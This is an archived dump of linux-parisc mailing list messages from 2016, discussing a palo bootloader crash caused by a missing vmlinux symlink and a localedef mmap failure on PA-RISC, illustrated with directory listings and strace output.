 lBZGfAvg7cqawB9W7Qdtvx1ILTfBdLKLsy9fYG64G3UTQJP1MSbDa8wtTODvAX7jGBZ3boG
 23kKYmG3pCOraYVg6IsXA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ktEGllAv180=:T13MkMeqCQqwXZDhZxeW5i
 UtEoX1iMNcY63WpXtXciVREHeDrZN1lPavhIyJlicsucm7q0SvcaZq8ZBhyYoYN9EQqXpblf4
 QgyVJCKsvPqI1DCYzH20VzuMetWExmb6+MIKPWY7jIbH0QReQZej69dQD04iEFi4X9uQlT22D
 mzGswK5xxmaroDkiEEdDXYrelY77OPVMscezd12U12T59YngG7JqgwNmd7miXjJOhCzZvK/Sw
 +obUnui2d7qKOaumk8xVbYotc/r0JAFu2hSaSV/8eKC8GYg91qjlZwrhGl/TO7RSYSb0jcRD3
 Ymq3LUJolcQldz2jUkb9wpXZ/FQycoxxwbDd1mI1JJE1x3KnyKmfM8WrmQMoaH+b7UlYJ263E
 Ak0mCf/S3PYSnT67GksrWH5+fndAFVTIlWJj5F8p3fr+D+azN6wMhRkvG8Yv1SizBVjGZDhzR
 MxgXH8LyORanDaYULId1yZJqgL9TRT5DobS2h9zf2HtQ5ASyrgfLK5ksaH7J66SZtLz5qKW/W
 5NKDwi4V8AsLykqRVAn0Llog57p/aFKvXEW04O/z5C1kEQA7q8jcOtRkddgG7azfemkGxVIFv
 KZZ3DQeByWnz7eWwKLeBJrV0+A8mjwn0L9OSMukaiQfR+GGEA3JikX84dsZUuSOBAt8s5KWfE
 CFr3z+kx6uSfTsioGkdIS+alVK8KypzukDPAeeqGRpH0Zkjbi6bjboKlwe2FGrHQTfRzlupJ4
 zvvS5quiy4u8SEY4Q/vtilK6xNq3QgeAC7asSvaMqqq0fCqlJXz5Pio3CuhXx67mT1s8IsYY 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27086
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27086>

Hi Meelis,

On 28.11.2016 20:41, Helge Deller wrote:
>> and then it dawned on me - I have wrong symlink under /boot. On most 
>> machines I have symlink named test that points to my latest test kernel, 
>> but on parisc I had default vmlinux since installerkenl worked out of 
>> the box with it. So it just worked, until I removed vmlinux and created 
>> "test" symlink by mistake whern testing 4.9-rc*. Now I recreated the 
>> vmlinux symlink and the new kernels just work.
>>
>> So it was a bad user error my side, probably from staying up too late 
>> some day :)
>>
>> However, palo seems to miss error handling in that case.
> 
> Agreed, I'll try to fix that.

I just tried to fix this problem, but could not reproduce it.
Can you explain exactly how your symlinks looked like ?
E.g. a "ls -la" output of /boot ?
Were they hardlinks ?
Can you still reproduce the problem with latest palo 1.96 ?

Thanks!
Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Re: parsic: strange boot crash on a500
Date: Mon, 5 Dec 2016 12:22:52 +0200 (EET)
Lines: 102
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1612051210370.25582@math.ut.ee>
References: <alpine.LRH.2.20.1611260142170.9292@math.ut.ee> <e8a4822d-bd78-7d5a-9c4b-b515b6fa8eb1@gmx.de> <alpine.LRH.2.20.1611272329430.19497@math.ut.ee> <3aa51712-b586-aefc-8e1f-b81b97c0729a@gmx.de> <alpine.LRH.2.20.1611280013540.19497@math.ut.ee>
 <trinity-e31b21fb-9eb0-43ac-9d20-c8882740e7d6-1480347397040@3capp-gmx-bs03> <trinity-2cc16b5d-53b2-4332-8a92-566526865345-1480347604360@3capp-gmx-bs71> <alpine.LRH.2.20.1611282036240.11649@math.ut.ee> <02c86f80-c5c8-c652-21b4-2a32d51c15fe@gmx.de>
 <98c1d3ba-53be-57f6-5a06-5c4895c4bf6c@gmx.de> <alpine.LRH.2.20.1611282220060.12618@math.ut.ee> <664aac8f-f2cd-07bd-9fad-c65ec21d314f@gmx.de> <1f4ef55f-cae9-03a7-0fea-795910a7dcd0@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1480927823 25624 195.159.176.226 (5 Dec 2016 08:50:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 5 Dec 2016 08:50:23 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Cc: null <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 05 09:50:19 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cDoyX-0007E5-29
	for glpp-linux-parisc@m.gmane.org; Mon, 05 Dec 2016 09:50:17 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1750951AbcLEIuV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 5 Dec 2016 03:50:21 -0500
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:48230 "EHLO smtp2.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1750849AbcLEIuU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 5 Dec 2016 03:50:20 -0500
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp2.it.da.ut.ee (Postfix) with ESMTP id 2EEE873D6D0;
        Mon,  5 Dec 2016 10:50:16 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id C569F221935; Mon,  5 Dec 2016 12:22:52 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id 19359221185;
        Mon,  5 Dec 2016 12:22:52 +0200 (EET)
In-Reply-To: <1f4ef55f-cae9-03a7-0fea-795910a7dcd0@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27087
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27087>

> >> and then it dawned on me - I have wrong symlink under /boot. On most 
> >> machines I have symlink named test that points to my latest test kernel, 
> >> but on parisc I had default vmlinux since installerkenl worked out of 
> >> the box with it. So it just worked, until I removed vmlinux and created 
> >> "test" symlink by mistake whern testing 4.9-rc*. Now I recreated the 
> >> vmlinux symlink and the new kernels just work.
> >>
> >> So it was a bad user error my side, probably from staying up too late 
> >> some day :)
> >>
> >> However, palo seems to miss error handling in that case.
> > 
> > Agreed, I'll try to fix that.
> 
> I just tried to fix this problem, but could not reproduce it.
> Can you explain exactly how your symlinks looked like ?

vmlinux and vmlinux.old are symlinks in /boot, with no path, just 
pointing to vmlinux-... files. In the problematic case, there was no 
vmlinux symlink, just "test" symlink that palo did not know anything 
about.

> E.g. a "ls -la" output of /boot ?

Current one is

-rw-r--r-- 1 root root 1037705 Jul  1  2013 System.map-3.10.0
-rw-r--r-- 1 root root 1050543 Oct  8  2013 System.map-3.11.0
-rw-r--r-- 1 root root 1046172 Jun  9  2014 System.map-3.15.0
-rw-r--r-- 1 root root 1053608 Aug 12  2014 System.map-3.16.0
-rw-r--r-- 1 root root 1068795 Dec  8  2014 System.map-3.18.0
-rw-r--r-- 1 root root 1080097 Mar  9  2015 System.map-3.19.0
-rw-r--r-- 1 root root 1083003 Apr 15  2015 System.map-4.0.0
-rw-r--r-- 1 root root 1087981 Jun 26  2015 System.map-4.1.0
-rw-r--r-- 1 root root 1119899 Sep  1  2015 System.map-4.2.0
-rw-r--r-- 1 root root  777767 Jul 29 19:23 System.map-4.7.0
-rw-r--r-- 1 root root  783238 Oct  5 20:50 System.map-4.8.0
-rw-r--r-- 1 root root  792511 Nov 25 23:24 System.map-4.9.0-rc5-00297-g20afa6e
-rw-r--r-- 1 root root  798408 Nov 27 21:25 System.map-4.9.0-rc6-00240-gd8e435f
-rw-r--r-- 1 root root  798408 Nov 28 20:39 System.map-4.9.0-rc7
-rw-r--r-- 1 root root  798539 Dec  5 09:39 System.map-4.9.0-rc7-00198-g0cb65c8
-rw-r--r-- 1 root root       0 Jun  2  2014 System.map-dummy
-rw-r--r-- 1 root root   33032 Jul  1  2013 config-3.10.0
-rw-r--r-- 1 root root   33555 Oct  8  2013 config-3.11.0
-rw-r--r-- 1 root root   34596 Aug 12  2014 config-3.16.0
-rw-r--r-- 1 root root   35356 Dec  8  2014 config-3.18.0
-rw-r--r-- 1 root root   35788 Mar  9  2015 config-3.19.0
-rw-r--r-- 1 root root   35945 Apr 15  2015 config-4.0.0
-rw-r--r-- 1 root root   35930 Jun 26  2015 config-4.1.0
-rw-r--r-- 1 root root   32036 Sep  1  2015 config-4.2.0
-rw-r--r-- 1 root root   34196 Jul 29 19:23 config-4.7.0
-rw-r--r-- 1 root root   34342 Oct  5 20:50 config-4.8.0
-rw-r--r-- 1 root root   34725 Nov 25 23:24 config-4.9.0-rc5-00297-g20afa6e
-rw-r--r-- 1 root root   35044 Nov 27 21:25 config-4.9.0-rc6-00240-gd8e435f
-rw-r--r-- 1 root root   35044 Nov 28 20:39 config-4.9.0-rc7
-rw-r--r-- 1 root root   35076 Dec  5 09:39 config-4.9.0-rc7-00198-g0cb65c8
drwx------ 2 root root   12288 Nov  6  2012 lost+found
lrwxrwxrwx 1 root root      32 Dec  5 09:39 vmlinux -> vmlinux-4.9.0-rc7-00198-g0cb65c8
-rw-r--r-- 1 root root 7177406 Jul  1  2013 vmlinux-3.10.0
-rw-r--r-- 1 root root 7267400 Oct  8  2013 vmlinux-3.11.0
-rw-r--r-- 1 root root 7620429 Aug 12  2014 vmlinux-3.16.0
-rw-r--r-- 1 root root 7749731 Dec  8  2014 vmlinux-3.18.0
-rw-r--r-- 1 root root 7795213 Mar  9  2015 vmlinux-3.19.0
-rw-r--r-- 1 root root 7815201 Apr 15  2015 vmlinux-4.0.0
-rw-r--r-- 1 root root 7846008 Jun 26  2015 vmlinux-4.1.0
-rw-r--r-- 1 root root 8022604 Sep  1  2015 vmlinux-4.2.0
-rw-r--r-- 1 root root 7827216 Jul 29 19:23 vmlinux-4.7.0
-rw-r--r-- 1 root root 7882632 Oct  5 20:50 vmlinux-4.8.0
-rw-r--r-- 1 root root 8022800 Nov 25 23:24 vmlinux-4.9.0-rc5-00297-g20afa6e
-rw-r--r-- 1 root root 8071224 Nov 27 21:25 vmlinux-4.9.0-rc6-00240-gd8e435f
-rw-r--r-- 1 root root 8071224 Nov 28 20:39 vmlinux-4.9.0-rc7
-rw-r--r-- 1 root root 8071400 Dec  5 09:39 vmlinux-4.9.0-rc7-00198-g0cb65c8
lrwxrwxrwx 1 root root      17 Nov 28 20:39 vmlinux.old -> vmlinux-4.9.0-rc7

palo.conf:

# Please read the palo --help output for more info
# Non-commented lines are treated as command line arguments

--commandline=2/vmlinux root=/dev/sda3
--init-partitioned=/dev/sda

#Uncomment this if you want a rescue kernel
#--recoverykernel=/boot/vmlinux.old


> Were they hardlinks ?

No.

> Can you still reproduce the problem with latest palo 1.96 ?

Yes - just did "rm vmlinux" from the above state and rebooted and it 
crashed like before.

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: mmap problem in localedef
Date: Mon, 5 Dec 2016 13:36:17 +0200 (EET)
Lines: 29
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1480932241 30650 195.159.176.226 (5 Dec 2016 10:04:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 5 Dec 2016 10:04:01 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 05 11:03:55 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cDq7l-0006PH-6c
	for glpp-linux-parisc@m.gmane.org; Mon, 05 Dec 2016 11:03:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752005AbcLEKDv (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 5 Dec 2016 05:03:51 -0500
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:35825 "EHLO smtp2.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751498AbcLEKDp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 5 Dec 2016 05:03:45 -0500
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp2.it.da.ut.ee (Postfix) with ESMTP id ABBB873D626
        for <linux-parisc@vger.kernel.org>; Mon,  5 Dec 2016 12:03:41 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 6AD92221940; Mon,  5 Dec 2016 13:36:17 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id ACE23220E0C
        for <linux-parisc@vger.kernel.org>; Mon,  5 Dec 2016 13:36:17 +0200 (EET)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27088
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27088>

I noticed that locale-gen fails to work on my gentoo. Before reporting 
to getnoo I tried to understand whether there is something specific to 
parisc and here is the relevant part of strace from localedef 
invocation:

1761  open("//usr/lib/locale/locale-archive.yvHI9a", O_RDWR|O_CREAT|O_EXCL, 0600) = 3
1761  write(3, "\336\2\1\t\0\0\0\0\0\0\0008\0\0\0\0\0\0\3\213\0\0*\274\0\0\0\0\0\0\35L"..., 56) = 56
1761  ftruncate64(3, 103860)            = 0
1761  mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0xd79bd000
1761  mmap2(0xd7c00000, 103860, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, 0) = -1 EINVAL (Invalid argument)
1761  unlink("//usr/lib/locale/locale-archive.yvHI9a") = 0
1761  write(2, "cannot map archive header", 25) = 25
1761  write(2, ": Invalid argument", 18) = 18
1761  write(2, "\n", 1)                 = 1
1761  exit_group(1)                     = ?

Do I read it correctly that it creates PROT_NONE mapping on file opened 
O_RDWR, then tries to create a PROT_READ|PROT_WRITE mapping from the 
same file at fixed location and fails?

Why should it fail - because the fixed location is not suitable?

-- 
Meelis Roos (mroos@linux.ee)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Aaro Koskinen <aaro.koskinen@iki.fi>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Mon, 5 Dec 2016 20:10:48 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <20161205181048.b2go7er5csdxekno@raspberrypi-2.musicnaut.iki.fi>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1480961864 15507 195.159.176.226 (5 Dec 2016 18:17:44 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 5 Dec 2016 18:17:44 +0000 (UTC)
User-Agent: NeoMutt/20161104 (1.7.1)
Cc: linux-parisc@vger.kernel.org
To: Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 05 19:17:39 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cDxpa-0002xy-6r
	for glpp-linux-parisc@m.gmane.org; Mon, 05 Dec 2016 19:17:38 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751645AbcLESRl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 5 Dec 2016 13:17:41 -0500
Original-Received: from emh06.mail.saunalahti.fi ([62.142.5.116]:41783 "EHLO
        emh06.mail.saunalahti.fi" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1751790AbcLESRk (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 5 Dec 2016 13:17:40 -0500
X-Greylist: delayed 409 seconds by postgrey-1.27 at vger.kernel.org; Mon, 05 Dec 2016 13:17:40 EST
Original-Received: from raspberrypi-2.musicnaut.iki.fi (85-76-78-12-nat.elisa-mobile.fi [85.76.78.12])
        by emh06.mail.saunalahti.fi (Postfix) with ESMTP id E36066A02E;
        Mon,  5 Dec 2016 20:10:49 +0200 (EET)
Content-Disposition: inline
In-Reply-To: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27089
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27089>

Hi,

On Mon, Dec 05, 2016 at 01:36:17PM +0200, Meelis Roos wrote:
> I noticed that locale-gen fails to work on my gentoo. Before reporting 
> to getnoo I tried to understand whether there is something specific to 
> parisc and here is the relevant part of strace from localedef 
> invocation:
> 
> 1761  open("//usr/lib/locale/locale-archive.yvHI9a", O_RDWR|O_CREAT|O_EXCL, 0600) = 3
> 1761  write(3, "\336\2\1\t\0\0\0\0\0\0\0008\0\0\0\0\0\0\3\213\0\0*\274\0\0\0\0\0\0\35L"..., 56) = 56
> 1761  ftruncate64(3, 103860)            = 0
> 1761  mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0xd79bd000
> 1761  mmap2(0xd7c00000, 103860, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, 0) = -1 EINVAL (Invalid argument)
> 1761  unlink("//usr/lib/locale/locale-archive.yvHI9a") = 0
> 1761  write(2, "cannot map archive header", 25) = 25
> 1761  write(2, ": Invalid argument", 18) = 18
> 1761  write(2, "\n", 1)                 = 1
> 1761  exit_group(1)                     = ?
> 
> Do I read it correctly that it creates PROT_NONE mapping on file opened 
> O_RDWR, then tries to create a PROT_READ|PROT_WRITE mapping from the 
> same file at fixed location and fails?
> 
> Why should it fail - because the fixed location is not suitable?

This is known longstanding issue: https://sourceware.org/bugzilla/show_bug.cgi?id=19838

A.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Mon, 5 Dec 2016 13:49:05 -0500
Lines: 45
Approved: news@gmane.org
Message-ID: <134f93f3-c4cb-8fd8-15b0-8b660a099338@bell.net>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee>
 <20161205181048.b2go7er5csdxekno@raspberrypi-2.musicnaut.iki.fi>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1480963772 19188 195.159.176.226 (5 Dec 2016 18:49:32 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 5 Dec 2016 18:49:32 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0) Gecko/20100101
 Thunderbird/45.5.1
Cc: linux-parisc@vger.kernel.org
To: Aaro Koskinen <aaro.koskinen@iki.fi>, Meelis Roos <mroos@linux.ee>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 05 19:49:27 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cDyKH-00021f-90
	for glpp-linux-parisc@m.gmane.org; Mon, 05 Dec 2016 19:49:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752014AbcLEStJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 5 Dec 2016 13:49:09 -0500
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:41293 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752005AbcLEStI (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 5 Dec 2016 13:49:08 -0500
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20161205184906.JDCR12461.mtlfep02.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 5 Dec 2016 13:49:06 -0500
Original-Received: from [192.168.0.125] (really [69.156.4.4]) by mtlspm01.bell.net
          with ESMTP
          id <20161205184906.KPZK3828.mtlspm01.bell.net@[192.168.0.125]>;
          Mon, 5 Dec 2016 13:49:06 -0500
In-Reply-To: <20161205181048.b2go7er5csdxekno@raspberrypi-2.musicnaut.iki.fi>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020206.5845B6A2.04A4,ss=1,re=0.000,recu=0.000,reip=0.000,cl=1,cld=1,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27090
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27090>

On 2016-12-05 1:10 PM, Aaro Koskinen wrote:
> Hi,
>
> On Mon, Dec 05, 2016 at 01:36:17PM +0200, Meelis Roos wrote:
>> I noticed that locale-gen fails to work on my gentoo. Before reporting
>> to getnoo I tried to understand whether there is something specific to
>> parisc and here is the relevant part of strace from localedef
>> invocation:
>>
>> 1761  open("//usr/lib/locale/locale-archive.yvHI9a", O_RDWR|O_CREAT|O_EXCL, 0600) = 3
>> 1761  write(3, "\336\2\1\t\0\0\0\0\0\0\0008\0\0\0\0\0\0\3\213\0\0*\274\0\0\0\0\0\0\35L"..., 56) = 56
>> 1761  ftruncate64(3, 103860)            = 0
>> 1761  mmap2(NULL, 536870912, PROT_NONE, MAP_SHARED, 3, 0) = 0xd79bd000
>> 1761  mmap2(0xd7c00000, 103860, PROT_READ|PROT_WRITE, MAP_SHARED|MAP_FIXED, 3, 0) = -1 EINVAL (Invalid argument)
>> 1761  unlink("//usr/lib/locale/locale-archive.yvHI9a") = 0
>> 1761  write(2, "cannot map archive header", 25) = 25
>> 1761  write(2, ": Invalid argument", 18) = 18
>> 1761  write(2, "\n", 1)                 = 1
>> 1761  exit_group(1)                     = ?
>>
>> Do I read it correctly that it creates PROT_NONE mapping on file opened
>> O_RDWR, then tries to create a PROT_READ|PROT_WRITE mapping from the
>> same file at fixed location and fails?
>>
>> Why should it fail - because the fixed location is not suitable?
> This is known longstanding issue: https://sourceware.org/bugzilla/show_bug.cgi?id=19838
But why has it come back?  What kernel and glibc versions are you 
using?  This patch was supposed
to have fixed issue:
http://marc.info/?l=git-commits-head&m=138617700412279&w=2

I think the local-shmlba.diff patch was removed but I can't check at the 
moment.
https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=725508

Dave
-- 

John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Meelis Roos <mroos@linux.ee>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: mmap problem in localedef
Date: Mon, 5 Dec 2016 23:12:38 +0200 (EET)
Lines: 29
Approved: news@gmane.org
Message-ID: <alpine.LRH.2.20.1612052309450.4997@math.ut.ee>
References: <alpine.LRH.2.20.1612051330040.25582@math.ut.ee> <20161205181048.b2go7er5csdxekno@raspberrypi-2.musicnaut.iki.fi> <134f93f3-c4cb-8fd8-15b0-8b660a099338@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
X-Trace: blaine.gmane.org 1480966807 30208 195.159.176.226 (5 Dec 2016 19:40:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 5 Dec 2016 19:40:07 +0000 (UTC)
User-Agent: Alpine 2.20 (LRH 67 2015-01-07)
Cc: Aaro Koskinen <aaro.koskinen@iki.fi>, linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 05 20:40:02 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1cDz7K-00072N-3S
	for glpp-linux-parisc@m.gmane.org; Mon, 05 Dec 2016 20:40:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1751427AbcLETkF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 5 Dec 2016 14:40:05 -0500
Original-Received: from smtp2.it.da.ut.ee ([193.40.5.67]:46477 "EHLO smtp2.it.da.ut.ee"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751396AbcLETkF (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 5 Dec 2016 14:40:05 -0500
Original-Received: from math.ut.ee (unknown [IPv6:2001:bb8:2002:2400:5054:ff:fe3b:8db9])
        by smtp2.it.da.ut.ee (Postfix) with ESMTP id CE38073D7E5;
        Mon,  5 Dec 2016 21:40:01 +0200 (EET)
Original-Received: by math.ut.ee (Postfix, from userid 1014)
        id 72D43221949; Mon,  5 Dec 2016 23:12:38 +0200 (EET)
Original-Received: from localhost (localhost [127.0.0.1])
        by math.ut.ee (Postfix) with ESMTP id B34BA22142D;
        Mon,  5 Dec 2016 23:12:38 +0200 (EET)
In-Reply-To: <134f93f3-c4cb-8fd8-15b0-8b660a099338@bell.net>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27091
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27091>

> > > Do I read it correctly that it creates PROT_NONE mapping on file opened
> > > O_RDWR, then tries to create a PROT_READ|PROT_WRITE mapping from the
> > > same file at fixed location and fails?
> > >
> > > Why should it fail - because the fixed location is not suitable?
> > This is known longstanding issue:
> > https://sourceware.org/bugzilla/show_bug.cgi?id=19838
> But why has it come back?  What kernel and glibc versions are you using?  This

sys-libs/glibc-2.22-r4 on Gentoo, for May  2  2016 (the default for 
hppa on Gentoo).

> patch was supposed
> to have fixed issue:
> http://marc.info/?l=git-commits-head&m=138617700412279&w=2
> 
> I think the local-shmlba.diff patch was removed but I can't check at the
> moment.
> https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=725508

